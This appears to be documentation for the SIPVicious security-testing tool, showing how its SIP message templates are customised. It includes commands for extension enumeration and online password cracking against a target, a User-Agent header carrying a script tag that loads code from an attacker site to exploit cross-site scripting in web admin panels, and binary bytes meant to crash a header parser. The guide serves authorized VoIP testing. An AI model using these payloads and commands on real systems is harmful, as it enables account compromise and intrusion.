Examples
Here you will find a few complete examples showing where templates are very effective and how to make use of this feature.
Setting a custom user-agent header
It is common for vendors of proprietary solution to check the user-agent SIP header and behave differently when it contains a specific value. For example, a particular well-known vendor was found to respond differently to REGISTER requests when the user-agent header value was set to their mobile application’s user agent string. Specifically, it would respond with a 404 for unknown extensions when this particular header was set but would otherwise not exhibit such behaviour. This means that by setting this header, attackers can make use of typical SIP extensions enumeration attack to identify SIP extensions that exist on the target system.
So first, one would get a copy of the REGISTER request template file by running the following command:
sipvicious sip utils templates dump --templateid registerrequest
Then the template would be edited to include the header, for example, resulting in the following contents:
REGISTER {{.RequestURI}} SIP/2.0
Via: SIP/2.0/{{.AddrFamily}} {{.LocalAddr}};rport;branch=z9hG4bK-{{.Branch}}
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: {{.CallID}}
CSeq: {{.CSeq}} REGISTER
Contact: {{.ContactVal}}
Expires: {{.Expires}}
Content-Length: 0
User-agent: Vendor Mobile App
{{/* this line must end with a newline */}}
After that, the tester could run the SIP enumeration attack tool from within the same directory containing the registerrequest.tpl file normally:
sipvicious sip enumerate extensions udp://target:5060
The resulting SIP messages would look similar to the following:
REGISTER sip:127.0.0.1 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:10011;rport;branch=z9hG4bK-XVxcnOf6DzAWgMEU
Max-Forwards: 70
From: <sip:PFWARpnq@127.0.0.1>;tag=Jr663iflz8IDBfui
To: <sip:PFWARpnq@127.0.0.1>
Call-ID: 6uc8d5iz3jJWpb0f
CSeq: 1 REGISTER
Contact: <sip:PFWARpnq@127.0.0.1:10011;transport=tcp>
Expires: 600
Content-Length: 0
User-Agent: Vendor Mobile App
Cross-site scripting injected through SIP
A common vulnerability example is that of displaying parts of the SIP message in a web interface without taking care of cross-site scripting or HTML injection. This is a security issue commonly found when displaying call detail records (CDR) or showing user-agents that have been blocked due to blacklisting as a security mechanism. In our example, the vulnerable web application is displaying the user-agent string of potential attackers that have been blocked without properly encoding for HTML display. This vulnerability could be easily demonstrated by making use of templates together with the SIP online password cracking tool.
First, one would create the registerrequest.tpl file with the following contents:
REGISTER {{.RequestURI}} SIP/2.0
Via: SIP/2.0/{{.AddrFamily}} {{.LocalAddr}};rport;branch=z9hG4bK-{{.Branch}}
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: {{.CallID}}
CSeq: {{.CSeq}} REGISTER
Contact: {{.ContactVal}}
Expires: {{.Expires}}
Content-Length: 0
User-Agent: <script src=//attackersite></script>
{{/* this line must end with a newline */}}
Then to demonstrate the attack, the user would make use of the following command, within the directory where the template file is to be found:
sipvicious sip crack online udp://target:5060
The resulting SIP messages would look similar to the following:
REGISTER sip:127.0.0.1 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:10011;rport;branch=z9hG4bK-Z9205ly8NHkG2LKc
Max-Forwards: 70
From: <sip:dRDupD8p@127.0.0.1>;tag=Pjl1mlHc2uCme7qh
To: <sip:dRDupD8p@127.0.0.1>
Call-ID: n025Ao095V3dtewM
CSeq: 1 REGISTER
Contact: <sip:dRDupD8p@127.0.0.1:10011;transport=tcp>
Expires: 600
Content-Length: 0
User-Agent: <script src=//attackersite></script>
Sending binary data in the SIP message
Let’s say you found a vulnerability that requires non-printable characters to be supplied in a SIP message so that it can be reproduced. How do you do this with the templates?
In the following example, the vulnerability might lie when parsing a particular header value, say a header with name X-crashme and requires the character sequence 0x01020304 to be reproduced. In this case, one could create a file called optionsrequest.tpl with the following contents:
OPTIONS {{.RequestURI}} SIP/2.0
Via: SIP/2.0/{{.AddrFamily}} {{.LocalAddr}};rport;branch=z9hG4bK-{{.Branch}}
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: {{.CallID}}
CSeq: {{.CSeq}} OPTIONS
Contact: {{.ContactVal}}
Accept: application/sdp
Content-Length: 0
X-crashme: {{ "\x01\x02\x03\x04"}}
{{/* this line must end with a newline */}}
The resulting SIP messages would look similar to the following:
OPTIONS sip:127.0.0.1 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:10011;rport;branch=z9hG4bK-t7iN6FLtIXUh5XV7
Max-Forwards: 70
From: <sip:hCSwUoi9@127.0.0.1>;tag=JBV2xEFyIddsuNnl
To: <sip:hCSwUoi9@127.0.0.1>
Call-ID: 1MB0X7lRSHq4U9xn
CSeq: 1 OPTIONS
Contact: <sip:hCSwUoi9@127.0.0.1:10011;transport=tcp>
Accept: application/sdp
Content-Length: 0
X-crashme:
Expires: 600
The value of the X-crashme header would contain the following binary characters: \x01\x02\x03\x04 which can be observed when inspecting the network traffic. The following is a hex dump of the interesting lines:
000001c0 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a |tent-Length: 0..|
000001d0 58 2d 63 72 61 73 68 6d 65 3a 20 01 02 03 04 0d |X-crashme: .....|
000001e0 0a 45 78 70 69 72 65 73 3a 20 36 30 30 0d 0a 0d |.Expires: 600...|
Making use of environment variables for debugging purposes
Sometimes you need to include external data in your templates such as a session ID which can be very useful when debugging or tracing network captures. This can be done by making use of a custom template that includes environment variables by making use of the ENV function. The following is an example INVITE message template which identifies the adds a couple of custom environment variables to the Call-ID header and the current user to the user-agent string:
INVITE {{.RequestURI}} SIP/2.0
Via: SIP/2.0/{{.AddrFamily}} {{.LocalAddr}};rport;branch=z9hG4bK-{{.Branch}}
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: hello_{{ ENV "SV_SESSIONID" }}_{{ ENV "SV_INSTANCEID" }}@{{.CallID}}
CSeq: {{.CSeq}} INVITE
Contact: {{.ContactVal}}
User-Agent: SVPRO ({{ ENV "USER" }})
Content-Length: {{.Body | len}}
Content-Type: application/sdp
{{.Body -}}
The resulting SIP messages would look similar to the following:
INVITE sip:NUEthW2j@127.0.0.1 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:10011;rport;branch=z9hG4bK-Hw8DRrCNKr5FqB9L
Max-Forwards: 70
From: <sip:WHQu0SXn@127.0.0.1>;tag=UOaZ2q1ce8ZMRflB
To: <sip:NUEthW2j@127.0.0.1>
Call-ID: someidentifier_1239829831938_234782304719@8t8nqbtNx6kSDVuB
CSeq: 1 INVITE
Contact: <sip:WHQu0SXn@127.0.0.1:10011;transport=tcp>
User-Agent: SVPRO (obscure)
Content-Length: 236
Content-Type: application/sdp
v=0
o=- 1606283521 1606283521 IN IP4 127.0.0.1
s=-
c=IN IP4 127.0.0.1
t=0 0
m=audio 9999 RTP/AVP 0 8 96 101
a=rtpmap:96 opus/8000/2
a=rtpmap:101 telephone-event/8000/1
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=sendrecv